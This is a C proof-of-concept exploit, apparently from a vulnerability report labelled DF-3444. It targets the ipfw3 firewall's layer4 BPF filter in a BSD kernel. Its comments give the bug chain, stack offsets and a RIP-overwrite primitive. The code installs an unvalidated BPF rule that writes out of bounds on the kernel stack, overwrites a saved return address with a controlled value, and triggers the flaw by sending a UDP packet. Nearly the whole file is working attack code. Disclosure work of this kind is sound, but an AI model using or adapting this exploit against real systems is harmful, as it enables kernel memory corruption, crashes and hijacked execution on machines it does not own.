DF-3444 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 | /* * DF-3444 PoC — bpf_filter() executes unvalidated BPF programs installed in * ipfw3 rules via the ipfw3_layer4 "bpf" filter (O_LAYER4_BPF). * * Bug chain: * sys/net/bpf_filter.c:365-379 — BPF_LD|BPF_MEM / BPF_LDX|BPF_MEM / * BPF_ST / BPF_STX index mem[pc->k] with NO runtime bound check on pc->k. * The code relies entirely on the caller having run bpf_validate() * (bpf_filter.c:507-509 says exactly this). bpf.c and ng_bpf.c comply; * sys/net/ipfw3_layer4/ip_fw3_layer4.c:201 (check_bpf) does NOT: * * slen = bpf_filter(bpf->bf_insn, (u_char *)m, m_lengthm(m, NULL), 0); * * ...and the rule's instruction stream is copied into the kernel verbatim * with no validation at all (ip_fw3.c:655 bcopy of ioc_rule->cmd). A root * user can therefore install an arbitrary BPF program that runs on every * packet crossing the firewall. * * Primitive (amd64, this kernel): bpf_filter's frame has * mem[] at rbp-0x60 (64 bytes, BPF_MEMWORDS=16), saved RIP at rbp+8, * and the store compiles to mov %eax,-0x60(%rbp,%rdx,4) with rdx = pc->k * (bpf_filter+0x4d3). BPF_ST with k=26/27 overwrites bpf_filter's own * return address; value fully controlled via BPF_LD|BPF_IMM. * * NOTE on privilege: installing an ipfw3 rule requires a raw IP socket * (rip_attach -> caps_priv_check(SYSCAP_NONET_RAW) = root), same entry * gating as DF-0668/DF-2580. Run this PoC as root. * * Build: cc -O -o poc poc.c * Run: ./poc store <k> <value32> # arbitrary-offset u32 write at mem+4k * ./poc riptake <low32> <high32># overwrite saved RIP (k=26/27) * ./poc safe # in-bounds ST (sanity, no crash) * Defaults: riptake 0x42424343 0x00004141 -> RIP = 0x0000414142424343 */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <stdint.h> #define IP_FW_X 49 /* ipfw3 setsockopt selector */ #define OP_ADD_RULE 50 /* IP_FW_ADD */ /* O_LAYER4_BPF = 4 (enum ipfw3_layer4_opcodes), MODULE_LAYER4_ID = 3 */ #define MOD_LAYER4 3 #define O_L4_BPF 4 /* mirror of struct bpf_insn (net/bpf.h) */ struct bi { uint16_t code; uint8_t jt, jf; uint32_t k; }; #define BPF_LD 0x00 #define BPF_ST 0x02 #define BPF_W 0x00 #define BPF_IMM 0x00 #define BPF_RET 0x06 #define BPF_K 0x00 /* mirror of struct ipfw_ioc_rule (net/ipfw3/ip_fw3.h), natural alignment */ struct ioc_rule { uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum; uint8_t set; uint8_t insert; uint32_t sets; uint64_t pcnt; uint64_t bcnt; uint32_t timestamp; /* cmd[] begins here at offset 36 */ unsigned char cmd[140 + 8 * 8]; /* ipfw_insn_bpf: hdr(8)+str(128)+len(4)+insns */ }; struct x_hdr { uint16_t opcode; uint16_t pad; }; static void emit(struct bi *ins, int *n, uint16_t code, uint32_t k) { ins[*n].code = code; ins[*n].jt = 0; ins[*n].jf = 0; ins[*n].k = k; (*n)++; } int main(int argc, char **argv) { const char *mode = (argc > 1) ? argv[1] : "riptake"; uint32_t v1 = (argc > 2) ? strtoul(argv[2], NULL, 0) : 0x42424343; uint32_t v2 = (argc > 3) ? strtoul(argv[3], NULL, 0) : 0x00004141; int s, rc, i; unsigned char buf[sizeof(struct x_hdr) + sizeof(struct ioc_rule)]; struct x_hdr *xh = (struct x_hdr *)buf; struct ioc_rule *r = (struct ioc_rule *)(buf + sizeof(*xh)); struct bi *ins = (struct bi *)(r->cmd + 140); /* bf_insn offset */ int n = 0; struct sockaddr_in dst; printf("[*] DF-3444: unvalidated BPF program execution via ipfw3 rule\n"); printf("[*] mode=%s v1=0x%08x v2=0x%08x\n", mode, v1, v2); memset(buf, 0, sizeof(buf)); if (strcmp(mode, "safe") == 0) { /* in-bounds store: harmless sanity that the program runs */ emit(ins, &n, BPF_LD | BPF_W | BPF_IMM, v1); emit(ins, &n, BPF_ST, 3); /* mem[3] = v1, in bounds */ } else if (strcmp(mode, "empty") == 0) { /* no instructions at all: interpreter starts on zeroed * kernel heap and walks LD|IMM (code 0) until unmapped */ } else if (strcmp(mode, "store") == 0) { emit(ins, &n, BPF_LD | BPF_W | BPF_IMM, v1); emit(ins, &n, BPF_ST, v2); /* mem[v2] = v1 : OOB write */ } else { /* riptake */ emit(ins, &n, BPF_LD | BPF_W | BPF_IMM, v1); emit(ins, &n, BPF_ST, 26); /* low dword of saved RIP */ emit(ins, &n, BPF_LD | BPF_W | BPF_IMM, v2); emit(ins, &n, BPF_ST, 27); /* high dword of saved RIP */ } if (strcmp(mode, "empty") != 0) emit(ins, &n, BPF_RET | BPF_K, 0); xh->opcode = OP_ADD_RULE; xh->pad = 0; r->act_ofs = 0; r->cmd_len = (140 + n * 8) / 4; /* 32-bit words, <= 63 */ r->rulenum = 100; r->set = 0; r->insert = 0; r->sets = 0; /* cmd[0] = ipfw_insn header: {u8 opcode; u8 len; u16 arg1; u8 module;...} */ r->cmd[0] = O_L4_BPF; r->cmd[1] = (uint8_t)r->cmd_len; /* arg1 (cmd[2..3]) = 0 */ r->cmd[4] = MOD_LAYER4; /* bf_str[128] zero; bf_len at cmd offset 136: */ { uint32_t bl = (uint32_t)n; memcpy(r->cmd + 136, &bl, 4); } printf("[*] bpf program: %d insns, cmd_len=%u words\n", n, r->cmd_len); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("[-] socket(SOCK_RAW)"); printf("[-] raw socket requires root (SYSCAP_NONET_RAW)\n"); return 2; } rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, sizeof(buf)); if (rc < 0) { printf("[-] setsockopt(IP_FW_ADD) failed: %s\n", strerror(errno)); close(s); return 3; } printf("[+] rule with O_LAYER4_BPF program installed (NO validation)\n"); close(s); /* Trigger: any packet crossing ipfw3 on output runs check_bpf. */ s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("[-] udp socket"); return 4; } memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); /* discard */ dst.sin_addr.s_addr = htonl(0x08080808); /* 8.8.8.8 via vtnet0 */ printf("[*] triggering: UDP to 8.8.8.8 (ip_output -> pfil -> check_bpf)\n"); fflush(stdout); rc = sendto(s, "A", 1, 0, (struct sockaddr *)&dst, sizeof(dst)); printf("[*] sendto rc=%d errno=%d\n", rc, errno); fflush(stdout); sleep(2); printf("[!] still alive: BPF_ST did not fire (rule not reached?)\n"); return 5; } |